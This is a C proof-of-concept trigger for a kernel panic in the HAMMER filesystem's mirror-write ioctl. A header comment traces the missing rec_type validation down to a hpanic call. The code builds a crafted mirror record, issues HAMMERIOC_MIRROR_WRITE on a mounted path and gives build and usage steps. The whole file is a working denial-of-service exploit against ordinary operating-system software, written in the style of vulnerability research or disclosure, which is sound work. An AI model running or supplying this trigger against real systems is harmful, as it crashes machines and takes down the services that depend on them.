/*
 * DF-0867 trigger: kernel panic via unvalidated rec_type in mirror_write_rec.
 *
 * The HAMMER mirror-write path (hammer_ioc_mirror_write_rec, sys/vfs/hammer/
 * hammer_mirror.c) validates mrec->leaf.data_len but never mrec->leaf.base.
 * rec_type.  When the record does not already exist, hammer_create_at_cursor()
 * (sys/vfs/hammer/hammer_object.c:2274) calls hammer_alloc_data() with the
 * attacker-controlled rec_type.  hammer_alloc_data() (sys/vfs/hammer/
 * hammer_ondisk.c:1634) has a switch() that only handles
 *   INODE/DIRENTRY/EXT/FIX/PFS/SNAPSHOT/CONFIG/DATA/DB;
 * the default case (hammer_ondisk.c:1669) does
 *   hpanic("rec_type %04x unknown", rec_type)  ->  kernel panic.
 *
 * A mirror-write stream mrec with data_len>0 and an unhandled rec_type (we
 * use 0x0002) reaches that hpanic and panics the kernel.  The ioctl requires
 * SYSCAP_NOVFS_IOCTL (root), so the realistic threat is a malicious mirror
 * source feeding a crafted stream to a victim running `hammer mirror-write`,
 * or a privileged/jailed root DoS.  This is a memory-safe DoS (no write
 * primitive -> no escalation), hence impact=dos.
 *
 * Usage: ./trigger <path-on-mounted-hammer-fs>
 * Build: cc -o trigger trigger.c
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <vfs/hammer/hammer_ioctl.h>
#include <vfs/hammer/hammer_disk.h>	/* HAMMER_RECTYPE_* */
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
 * An unhandled rec_type: none of INODE(1)/DATA(0x10)/DIRENTRY(0x11)/DB(0x12)/
 * EXT(0x13)/FIX(0x14)/PFS(0x15)/SNAPSHOT(0x16)/CONFIG(0x17).  0x0002 falls
 * straight through to the default hpanic.
 */
#define	BAD_REC_TYPE	0x0002

int
main(int argc, char **argv)
{
	struct hammer_ioc_mirror_rw mir;
	struct hammer_ioc_mrecord_rec mrec;
	unsigned char databuf[64];	/* > data_len we claim */
	char *path;
	int fd, sz;

	if (argc != 2)
		errx(2, "usage: %s <path-on-mounted-hammer-fs>", argv[0]);
	path = argv[1];

	/*
	 * Build a single HAMMER_MREC_TYPE_REC mirror record whose leaf carries
	 * data_len>0 and an unhandled rec_type.  The kernel panics inside
	 * hammer_alloc_data() BEFORE it copyin()s the data payload, so the
	 * databuf contents are irrelevant; we still supply a valid pointer.
	 */
	memset(&mrec, 0, sizeof(mrec));
	mrec.head.signature = HAMMER_IOC_MIRROR_SIGNATURE;
	mrec.head.type = HAMMER_MREC_TYPE_REC;
	mrec.leaf.data_len = 16;		/* must be > 0 */
	mrec.head.rec_size = sizeof(mrec) + mrec.leaf.data_len;
	/* data_crc / rec_crc are checked only AFTER the panic; set anyway */
	mrec.head.rec_crc = 0;
	/*
	 * base key: choose a rec_type not in the handled switch, a unique-ish
	 * obj_id so the btree lookup misses (ENOENT) and we hit the create
	 * path, and a create_tid within the mirror window.
	 */
	mrec.leaf.base.rec_type = BAD_REC_TYPE;
	mrec.leaf.base.obj_id = 0x0000000100000001ULL;	/* unlikely to exist */
	mrec.leaf.base.key = 0;
	mrec.leaf.base.create_tid = 1;		/* >= mirror.tid_beg */
	mrec.leaf.base.delete_tid = 0;
	/* localization: misc-type record in default PFS 0; OR'd by kernel */
	mrec.leaf.base.localization = HAMMER_LOCALIZE_MISC;
	mrec.leaf.base.obj_type = 0;
	mrec.leaf.base.btype = 0;

	memset(databuf, 0x41, sizeof(databuf));

	/*
	 * Build the ioctl argument.  ubuf points to our single mrec plus the
	 * trailing data bytes it advertises.  count=0 (start of stream).
	 */
	sz = mrec.head.rec_size;
	memset(&mir, 0, sizeof(mir));
	mir.ubuf = (void *)&mrec;
	mir.size = sz;
	mir.count = 0;
	mir.pfs_id = 0;				/* default PFS */
	/* key_beg/end/cur: wide-open window so the loop processes our mrec */
	mir.key_beg.obj_id = 0;
	mir.key_beg.rec_type = 0;
	mir.key_end.obj_id = HAMMER_MAX_KEY;	/* see hammer_disk.h */
	mir.key_end.rec_type = 0xFFFF;
	mir.tid_beg = 0;
	mir.tid_end = 0x7FFFFFFFFFFFFFFFLL;
	memset(&mir.shared_uuid, 0, sizeof(mir.shared_uuid));

	if ((fd = open(path, O_RDONLY)) < 0)
		err(1, "open %s", path);

	printf("[*] issuing HAMMERIOC_MIRROR_WRITE on %s "
	    "(rec_type=0x%04x data_len=%d)\n", path, BAD_REC_TYPE,
	    mrec.leaf.data_len);
	printf("[*] expected: kernel panic 'rec_type %04x unknown' "
	    "in hammer_alloc_data\n", BAD_REC_TYPE);

	if (ioctl(fd, HAMMERIOC_MIRROR_WRITE, &mir) < 0)
		warn("HAMMERIOC_MIRROR_WRITE");

	(void)printf("[!] ioctl returned (no panic): head.error=%d\n",
	    mir.head.error);
	close(fd);
	return 0;
}
